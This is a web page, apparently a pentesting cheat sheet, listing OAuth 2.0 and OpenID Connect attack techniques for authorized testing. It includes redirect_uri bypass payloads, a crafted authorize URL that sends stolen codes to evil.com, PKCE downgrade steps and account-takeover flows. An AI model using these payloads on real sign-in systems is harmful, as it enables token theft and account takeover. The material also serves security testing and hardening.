OAUTH2-ATTACKS
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Interactive tool: JWT Decoder & Analyzer
Common OAuth 2.0 and OpenID Connect misconfigurations, attack vectors, and exploitation techniques.
OAUTH2 FLOW OVERVIEW#
# Authorization Code Flow (most secure) 1. Client → Auth Server: /authorize?response_type=code&client_id=X&redirect_uri=Y&scope=Z 2. User authenticates and consents 3. Auth Server → Client: redirect_uri?code=AUTH_CODE 4. Client → Auth Server: /token (code + client_secret) 5. Auth Server → Client: access_token + refresh_token # Implicit Flow (deprecated, insecure) 1. Client → Auth Server: /authorize?response_type=token&client_id=X&redirect_uri=Y 2. Auth Server → Client: redirect_uri#access_token=TOKEN # Token exposed in URL fragment — vulnerable to leakage # Client Credentials Flow (server-to-server) 1. Client → Auth Server: /token (client_id + client_secret) 2. Auth Server → Client: access_token # PKCE (Proof Key for Code Exchange) — prevents code interception # code_verifier (random string) + code_challenge (SHA256 hash)
REDIRECT URI MANIPULATION#
# Most impactful OAuth attack vector # Attacker controls where the auth code/token is sent # Open redirect via subdomain redirect_uri=https://evil.target.com/callback # Path traversal redirect_uri=https://target.com/callback/../attacker-page # Parameter pollution redirect_uri=https://target.com/callback?next=https://evil.com # Subdomain matching bypass redirect_uri=https://target.com.evil.com/callback # Port variation redirect_uri=https://target.com:8443/callback # URL encoding tricks redirect_uri=https://target.com%40evil.com/callback redirect_uri=https://target.com%2F%2Fevil.com redirect_uri=https://target.com/callback%23.evil.com # Fragment injection redirect_uri=https://target.com/callback#@evil.com # Localhost bypass redirect_uri=http://localhost/callback redirect_uri=http://127.0.0.1/callback redirect_uri=http://[::1]/callback # Wildcard abuse (if provider allows) redirect_uri=https://target.com/anything/here # Testing steps: 1. Register OAuth app (if possible) with evil redirect_uri 2. Modify redirect_uri in authorization request 3. Check if auth code/token is sent to attacker domain 4. Attempt to exchange stolen code for access token
AUTHORIZATION CODE THEFT#
# If redirect_uri is not strictly validated: # 1. Craft malicious authorize URL https://auth.target.com/authorize? response_type=code& client_id=LEGIT_CLIENT_ID& redirect_uri=https://evil.com/steal& scope=openid+profile+email& state=random123 # 2. Victim clicks link, authenticates # 3. Auth code sent to https://evil.com/steal?code=AUTH_CODE # 4. Exchange code for token (need client_secret for standard flow) # If Implicit flow: # Token directly in URL fragment — easier to steal
CSRF / STATE PARAMETER ATTACKS#
# Missing state parameter = CSRF vulnerability # Attacker can force victim to link attacker's OAuth account # Attack flow: 1. Attacker initiates OAuth flow, gets auth code 2. Attacker constructs: https://target.com/callback?code=ATTACKER_CODE 3. Victim visits link → victim's account linked to attacker's OAuth # Testing: - Remove state parameter from authorize request - Check if callback accepts requests without state - Verify state is validated (tied to user session) # Mitigation: always validate state parameter
TOKEN LEAKAGE#
# Referer header leakage - Access token in URL fragment can leak via Referer - If page has external links/images, token sent in Referer - Check: is token in URL? Are there external resources? # Browser history - Tokens in URL fragments persist in browser history - Shared/public computers expose tokens # Server logs - Query parameters logged by web servers - auth code in URL = logged in access logs - access_token in query (not fragment) = logged # Postmessage leakage - SPAs using postMessage for token passing - Missing origin validation = token theft
SCOPE MANIPULATION#
# Request more permissions than intended scope=openid+profile+email+admin scope=openid+profile+email+read+write+delete scope=openid+profile+email+offline_access # Get refresh token # Scope upgrade after consent - Obtain token with basic scope - Use refresh token to request higher scope - Some servers don't re-validate scope on refresh # Missing scope validation on resource server - Token has scope=read - Resource server doesn't check scope - Can perform write operations with read token
CLIENT SECRET EXPOSURE#
# Finding client secrets - JavaScript source code (SPAs) - Mobile app decompilation - GitHub/GitLab searches - .env files exposed - API documentation - Developer tools (Network tab) - Configuration files # What you can do with client_id + client_secret: - Exchange authorization codes for tokens - Request tokens via client credentials flow - Impersonate the application
INSECURE TOKEN STORAGE#
# Common insecure storage locations - localStorage (XSS accessible) - URL parameters/fragments - Cookies without HttpOnly/Secure flags - Exposed in error messages # Testing: - Check localStorage/sessionStorage for tokens - Review cookie flags (HttpOnly, Secure, SameSite) - Check if tokens appear in error responses - Look for tokens in JavaScript variables
PKCE BYPASS#
# PKCE prevents authorization code interception # Bypass attempts: # 1. Remove code_challenge from authorize request # Server may fall back to non-PKCE flow # 2. Use plain method instead of S256 code_challenge_method=plain # code_challenge = code_verifier (no hashing) # 3. Remove code_verifier from token request # Server may not require it # 4. Downgrade to Implicit flow response_type=token # Skip code exchange entirely
ACCOUNT TAKEOVER VIA OAUTH#
# Pre-authentication account linking 1. Create account on target with victim's email 2. Victim signs up via OAuth (same email) 3. Accounts merge → attacker has access # Race condition on account linking 1. Victim initiates OAuth linking 2. Attacker links their OAuth to victim's account 3. Timing window exploitation # Email not verified 1. Register OAuth account with victim's email 2. Target trusts OAuth provider's email claim 3. No email verification on target side
OPENID CONNECT SPECIFIC#
# ID token manipulation - id_token is a JWT — apply JWT attacks - Check for alg:none, weak HMAC, etc. - Modify claims: sub, email, preferred_username # Discovery endpoint /.well-known/openid-configuration - Lists all endpoints, supported grants, scopes - Reveals supported algorithms - Shows token endpoint auth methods # Userinfo endpoint - May return more data than authorized scope - Test with different scopes # Nonce validation - Missing nonce = replay attacks possible - Check if nonce is actually validated
TESTING CHECKLIST#
[ ] Test redirect_uri manipulation (all variations above) [ ] Check for missing/weak state parameter validation [ ] Verify PKCE implementation (if applicable) [ ] Test scope escalation [ ] Look for client secret exposure in JS/mobile [ ] Check token storage security (localStorage, cookies) [ ] Test implicit flow if available (token in URL) [ ] Verify ID token (JWT) signature validation [ ] Check for open redirect chains [ ] Test account linking/unlinking flows [ ] Verify email verification in OAuth registration [ ] Check Referer leakage of tokens [ ] Test token revocation and expiration [ ] Look for race conditions in OAuth flows [ ] Check .well-known/openid-configuration
USEFUL TOOLS#
Burp Suite OAuth extension # Automated OAuth testing EsPReSSO (Burp extension) # OAuth/SSO testing jwt_tool # JWT manipulation oauth-hunt # OAuth recon tool Postman # Manual flow testing
TIPS#
- redirect_uri is the #1 attack vector — test extensively - State parameter absence = easy CSRF account linking - Implicit flow is inherently insecure (deprecated in OAuth 2.1) - Client secrets in SPAs/mobile apps are always extractable - PKCE should be mandatory for public clients - Test both authorization and token endpoints - Check if auth codes are single-use and expire quickly - Look for OAuth providers that don't verify email - Race conditions in linking flows are underexplored - OpenID Connect id_tokens are JWTs — apply JWT attacks